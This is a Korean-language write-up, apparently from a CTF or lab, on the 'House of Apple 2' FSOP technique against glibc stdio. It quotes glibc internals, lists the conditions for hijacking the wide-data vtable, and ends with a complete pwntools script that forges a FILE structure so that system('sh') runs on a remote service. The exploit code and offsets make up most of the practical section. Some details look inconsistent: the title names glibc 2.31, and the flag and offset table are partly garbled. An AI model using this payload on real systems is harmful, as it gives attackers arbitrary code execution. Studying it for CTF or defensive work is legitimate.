FSOP_exploit glibc 2.31
Contents
HOW to exploit glic 2.31 using FSOP House of apple2
1 이전 버전과 달라진 점
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '0', new_size - old_blen); |
| _IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); |
| fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
}
- 기존에 사용되었단
_IO_str_overflow
이다. 그전에는 함수 포인터를 통해 exploit이 진행되었지만 이제 사라졌다.
static void check_stdfiles_vtables (void) { if (_IO_2_1_stdin_.vtable != &_IO_file_jumps || _IO_2_1_stdout_.vtable != &_IO_file_jumps || _IO_2_1_stderr_.vtable != &_IO_file_jumps) IO_set_accept_foreign_vtables (&_IO_vtable_check); }
- 또한 기존에 vtable에
_IO_str_jumps
함수를 덮었던 것과 달리 vtable 을 검증 하고 있다.
2 exploit 방법
2.1 struct _IO_FILE
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1]; |
_IO_lock_t *_lock;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
- 이전의 file 과 달리 wide_data,
_codecvt
라는 변수 들이 존재한다. 이것들을 통해 attack vector가 될 수 있다.
2.2 struct _IO_wide_data
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
struct _IO_wfile_jumps
{
_DUMMY_
_DUMMY_
_IO_file_finish
_IO_wfile_overflow
_IO_wfile_underflow
_IO_wdefault_uflow
_IO_wdefault_pbackfail
_IO_wfile_xsputn
sub_8B330
_IO_wfile_seekoff
sub_8E530
_IO_file_setbuf
_IO_wfile_sync
sub_7FF10
_IO_file_read
_IO_file_write
_IO_file_seek
_IO_file_close
_IO_file_stat
sub_8F4A0
sub_8F4B0
}
- exploit 과정에서 사용되는
_IO_wide_data
구조체이다. 여기서 vtable를 참조하여 함수를 부를 때 검증과정이 진행되지 않는다.
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)`
`#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)`
`#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)`
`#define _IO_WIDE_JUMPS(THIS) `
`_IO_CAST_FIELD_ACCESS ((THIS),` `struct` `_IO_FILE, _wide_data)->_wide_vtable
자세한 건 https://wiimdy.kr/house-of-apple-2/ 참조
3 실습
int main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
printf("%pn", _bss_start);
read(0, _bss_start, 0xE0uLL);
puts("modify finished!");
_exit(0);
}
- stdout 주소를 알려주고 stdout에 0xe0만큼 입력을 받는다.
_exit(0)
에서 바로 syscall exit을 실행하기 때문에 fclose exploit 사용이 안된다.- 따라서 puts에서 실행 되는 함수를 의심한다.
vtable + 0x38에 있는 함수를 불러온다.
우리가 이 함수로 덮어야 할 것은_IO_wfile_overflow
을 호출하여 exploit을 진행 해야 한다.
3.1 인자 맞추기
_flags
는 ~4로 설정- vtable은
_IO_wfile_jumps + 0x18 - 0x38
주소로 설정 _IO_read_ptr < _IO_read_end
, 즉*(fp + 8) < *(fp + 0x10)
만족_wide_data
는 제어 가능한 힙 주소 A, 즉*(fp + 0xa0) = A
로 설정_wide_data->_IO_read_ptr
>=_wide_data>_IO_read_end
, 즉*A >= *(A + 8)
_wide_data->_IO_buf_base
가 0으로 설정됨, 즉 `*(A + 0x30 ) = 0 ``_wide_data->_IO_save_base
가 0 으로 설정되거나 해제 가능한 주소, 즉*(A + 0x40) = 0
을 만족_wide_data->_wide_vtable
이 제어 가능한 힙 주소 B 로 설정됨, 즉*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
은 RIP 하이재킹을 위해 주소 C로 설정, 즉*(B + 0x68) = C
를 만족합니다.
그럼 우리가
빨간 네모친 공간에 system 함수를 넣는다면 C = system
B = 0x7fe18300a848 - 0x68
= 0x7fe18300a7e0
즉 chain 앞 포인터이다.
Offset | Field | Value | Comment |
---|---|---|---|
0 | _flags | `````sh0" | |
8 | _IO_read_ptr | 0 | _wide_data->_IO_write_base |
… | |||
32 | _IO_write_base | 0 | _wide_data->_IO_buf_base |
… | |||
160 | _wide_data | fp - 16 | |
… | |||
200 | _unused2[4] | system | [_wide_data->_wide_vtable + 0x68] |
208 | _unused2[12] | _markers | _wide_data->_wide_vtable |
offset 계산을 이렇게 한다…
3.2 payload
from pwn import *
context.log_level='debug'
context.arch='amd64'
r = remote('localhost', 1111)
sla = lambda a, b : r.sendlineafter(a,b)
sa = lambda a, b : r.sendafter(a,b)
slog = lambda s, h : success(': '.join([s,hex(h)]))
libc = int(r.recvline()[:-1], 16) - 0x21a780
system = libc + 0x50d60
vtable = libc + 0x2160c0 +0x18 - 0x38
wdata = libc + 0x21a770
wddata_vtable = libc + 0x21a7f8
fake = b'``````sh' # flag
fake += p64(0) # _IO_read_ptr
fake += p64(0) # _IO_read_end
fake += p64(0) # _IO_read_base
fake += p64(0) # _IO_write_base
fake += p64(0) # _IO_write_ptr
fake += p64(0) # _IO_write_end
fake += p64(0) # _IO_buf_base
fake += p64(0) # _IO_buf_end
fake += p64(0) # _IO_save_base
fake += p64(0) # _IO_backup_base
fake += p64(0) # _IO_save_end
fake += p64(0) # _markers
fake += p64(libc + 0x219aa0) # _chain
fake += p64(0) # ?
fake += p64(0) # offset
fake += p64(0) # ??
fake += p64(libc + 0x21ba70) # _lock
fake += p64(0) # offset
fake += p64(0) # ??
fake += p64(wdata) # *_wide_data;
fake += p64(0)*4
fake += p64(system)
fake += p64(libc + 0x21a7e0)
fake += p64(vtable)
r.send((fake))
r.interactive()